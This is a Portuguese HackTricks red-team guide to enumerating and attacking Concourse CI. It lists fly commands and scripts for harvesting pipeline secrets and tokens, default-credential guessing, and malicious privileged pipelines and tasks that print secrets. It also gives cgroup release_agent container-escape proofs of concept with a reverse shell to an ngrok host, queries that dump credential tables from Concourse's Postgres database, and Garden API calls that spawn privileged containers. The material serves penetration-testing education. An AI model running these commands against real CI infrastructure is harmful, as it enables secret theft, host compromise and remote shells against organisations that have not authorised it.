Concourse Enumeration & Attacks

Enumeração e Ataques ao Concourse

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Funções de Usuário e Permissões

O Concourse vem com cinco funções:

  • Concourse Admin: Esta função é atribuída apenas aos proprietários da equipe principal (equipe inicial padrão do Concourse). Os administradores podem configurar outras equipes (por exemplo: fly set-team, fly destroy-team...). As permissões desta função não podem ser afetadas pelo RBAC.

  • owner: Os proprietários da equipe podem modificar tudo dentro da equipe.

  • member: Os membros da equipe podem ler e escrever nos ativos da equipe, mas não podem modificar as configurações da equipe.

  • pipeline-operator: Os operadores de pipeline podem realizar operações de pipeline como acionar builds e fixar recursos, no entanto, não podem atualizar as configurações do pipeline.

  • viewer: Os visualizadores da equipe têm acesso "somente leitura" a uma equipe e seus pipelines.

Além disso, as permissões das funções owner, member, pipeline-operator e viewer podem ser modificadas configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: https://concourse-ci.org/user-roles.html

Observe que o Concourse agrupa pipelines dentro de Equipes. Portanto, os usuários pertencentes a uma Equipe poderão gerenciar esses pipelines e várias Equipes podem existir. Um usuário pode pertencer a várias Equipes e ter permissões diferentes dentro de cada uma.

Vars e Gerenciador de Credenciais

Nos arquivos YAML, você pode configurar valores usando a sintaxe ((_source-name_:_secret-path_._secret-field_)). A partir da documentação: O nome da fonte é opcional, e se omitido, o gerenciador de credenciais em todo o cluster será usado, ou o valor pode ser fornecido estaticamente. O campo opcional _secret-field_ especifica um campo no segredo obtido para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' do credencial obtido se o campo existir. Além disso, o secret-path e secret-field podem ser cercados por aspas duplas "..." se eles contiverem caracteres especiais como . e :. Por exemplo, ((source:"my.secret"."field:1")) definirá o secret-path como my.secret e o secret-field como field:1.

Vars Estáticos

Vars estáticos podem ser especificados em etapas de tarefas:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Ou usando os seguintes argumentos fly:

  • -v ou --var NOME=VALOR define a string VALOR como o valor para a variável NOME.

  • -y ou --yaml-var NOME=VALOR analisa VALOR como YAML e define-o como o valor para a variável NOME.

  • -i ou --instance-var NOME=VALOR analisa VALOR como YAML e define-o como o valor para a variável de instância NOME. Consulte Agrupamento de Pipelines para saber mais sobre variáveis de instância.

  • -l ou --load-vars-from ARQUIVO carrega ARQUIVO, um documento YAML contendo mapeamento de nomes de variáveis e valores, e define todos eles.

Gerenciamento de Credenciais

Existem diferentes maneiras de especificar um Gerenciador de Credenciais em uma pipeline, leia como em https://concourse-ci.org/creds.html. Além disso, o Concourse suporta diferentes gerenciadores de credenciais:

Observe que se você tiver algum tipo de acesso de escrita ao Concourse, você pode criar jobs para extrair esses segredos já que o Concourse precisa ser capaz de acessá-los.

Enumeração do Concourse

Para enumerar um ambiente do Concourse, primeiro você precisa reunir credenciais válidas ou encontrar um token autenticado provavelmente em um arquivo de configuração .flyrc.

Login e enumeração do usuário atual

  • Para fazer login, você precisa saber o endpoint, o nome da equipe (o padrão é main) e uma equipe à qual o usuário pertence:

  • fly --target exemplo login --team-name minha-equipe --concourse-url https://ci.exemplo.com [--inseguro] [--client-cert=./caminho --client-key=./caminho]

  • Obter alvos configurados:

  • fly targets

  • Verificar se a conexão do alvo configurado ainda é válida:

  • fly -t <alvo> status

  • Obter função do usuário em relação ao alvo indicado:

  • fly -t <alvo> userinfo

Observe que o token da API é salvo em $HOME/.flyrc por padrão, ao saquear máquinas você pode encontrar lá as credenciais.

Equipes e Usuários

  • Obter uma lista das Equipes

  • fly -t <alvo> teams

  • Obter funções dentro da equipe

  • fly -t <alvo> get-team -n <nome-da-equipe>

  • Obter uma lista de usuários

  • fly -t <alvo> active-users

Pipelines

  • Listar pipelines:

  • fly -t <alvo> pipelines -a

  • Obter o yaml da pipeline (informações sensíveis podem ser encontradas na definição):

  • fly -t <alvo> get-pipeline -p <nome-da-pipeline>

  • Obter todas as variáveis de configuração da pipeline

  • for nomepip in $(fly -t <alvo> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $nomepip; fly -t <alvo> get-pipeline -p $nomepip -j | grep -Eo '"vars":[^}]+'; done

  • Obter todos os nomes de segredos das pipelines usados (se você puder criar/modificar um job ou sequestrar um contêiner, você poderia extrai-los):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Contentores e Trabalhadores

  • Listar trabalhadores:

  • fly -t <target> workers

  • Listar contentores:

  • fly -t <target> containers

  • Listar construções (para ver o que está em execução):

  • fly -t <target> builds

Ataques ao Concourse

Força Bruta de Credenciais

  • admin:admin

  • test:test

Enumeração de Segredos e Parâmetros

Na seção anterior, vimos como você pode obter todos os nomes de segredos e variáveis usados pelo pipeline. As variáveis podem conter informações sensíveis e o nome dos segredos será útil mais tarde para tentar roubá-los.

Sessão dentro de um contentor em execução ou executado recentemente

Se você tiver privilégios suficientes (função de membro ou superior), poderá listar pipelines e funções e simplesmente obter uma sessão dentro do contentor <pipeline>/<job> usando:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Com essas permissões, você pode ser capaz de:

  • Roubar os segredos dentro do container

  • Tentar escapar para o nó

  • Enumerar/Abusar do endpoint de metadados da nuvem (do pod e do nó, se possível)

Criação/Modificação de Pipeline

Se você tiver privilégios suficientes (função de membro ou superior), poderá criar/modificar novos pipelines. Confira este exemplo:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Com a modificação/criação de um novo pipeline, você será capaz de:

  • Roubar os segredos (via ecoando-os ou entrando no contêiner e executando env)

  • Escapar para o (dando privilégios suficientes - privileged: true)

  • Enumerar/Abusar do endpoint de metadados da nuvem (do pod e do nó)

  • Excluir o pipeline criado

Executar Tarefa Personalizada

Isso é semelhante ao método anterior, mas em vez de modificar/criar um novo pipeline completo, você pode apenas executar uma tarefa personalizada (que provavelmente será muito mais discreta):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Escapando para o nó a partir da tarefa privilegiada

Nas seções anteriores, vimos como executar uma tarefa privilegiada com o concourse. Isso não dará ao contêiner exatamente o mesmo acesso que a flag privilegiada em um contêiner docker. Por exemplo, você não verá o dispositivo de sistema de arquivos do nó em /dev, então a fuga pode ser mais "complexa".

No seguinte PoC, vamos usar o release_agent para escapar com algumas pequenas modificações:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Como você pode ter notado, isso é apenas um escape de release_agent regular modificando o caminho do cmd no nó

Escapando para o nó a partir de um contêiner de Trabalhador

Um escape de release_agent regular com uma pequena modificação é suficiente para isso:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Escapando para o nó a partir do contêiner da Web

Mesmo que o contêiner da web tenha algumas defesas desativadas, ele não está sendo executado como um contêiner privilegiado comum (por exemplo, você não pode montar e as capacidades são muito limitadas, então todas as maneiras fáceis de escapar do contêiner são inúteis).

No entanto, ele armazena credenciais locais em texto claro:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Você pode usar essas credenciais para fazer login no servidor web e criar um contêiner privilegiado e escapar para o nó.

No ambiente, você também pode encontrar informações para acessar a instância do postgresql que o concourse utiliza (endereço, nome de usuário, senha e banco de dados, entre outras informações):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Abusando do Serviço Garden - Não é um Ataque Real

Estas são apenas algumas notas interessantes sobre o serviço, mas como ele está apenas ouvindo em localhost, essas notas não terão nenhum impacto que já não tenhamos explorado antes.

Por padrão, cada worker do Concourse estará executando um serviço Garden na porta 7777. Este serviço é usado pelo mestre da Web para indicar ao worker o que ele precisa executar (baixar a imagem e executar cada tarefa). Isso parece muito bom para um atacante, mas existem algumas proteções interessantes:

  • Ele está apenas exposto localmente (127.0.0.1) e eu acredito que quando o worker se autentica novamente na Web com o serviço SSH especial, um túnel é criado para que o servidor web possa conversar com cada serviço Garden dentro de cada worker.

  • O servidor web está monitorando os containers em execução a cada poucos segundos, e os containers inesperados são excluídos. Portanto, se você quiser executar um container personalizado, você precisa interferir na comunicação entre o servidor web e o serviço Garden.

Os workers do Concourse são executados com altos privilégios de container:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

No entanto, técnicas como montar o dispositivo /dev do nó ou release_agent não funcionarão (pois o dispositivo real com o sistema de arquivos do nó não é acessível, apenas um virtual). Não podemos acessar os processos do nó, então escapar do nó sem exploits de kernel se torna complicado.

Na seção anterior, vimos como escapar de um contêiner privilegiado, então se pudermos executar comandos em um contêiner privilegiado criado pelo trabalhador atual, poderíamos escapar para o nó.

Observe que brincando com o Concourse, notei que quando um novo contêiner é iniciado para executar algo, os processos do contêiner são acessíveis a partir do contêiner do trabalhador, então é como se um contêiner criasse um novo contêiner dentro dele.

Entrando em um contêiner privilegiado em execução

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Criando um novo contêiner privilegiado

Você pode facilmente criar um novo contêiner (apenas execute um UID aleatório) e executar algo nele:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

No entanto, o servidor web verifica a cada poucos segundos os containers em execução e, se um inesperado for descoberto, ele será excluído. Como a comunicação ocorre em HTTP, você poderia manipular a comunicação para evitar a exclusão de containers inesperados:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Referências

  • https://concourse-ci.org/vars.html

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización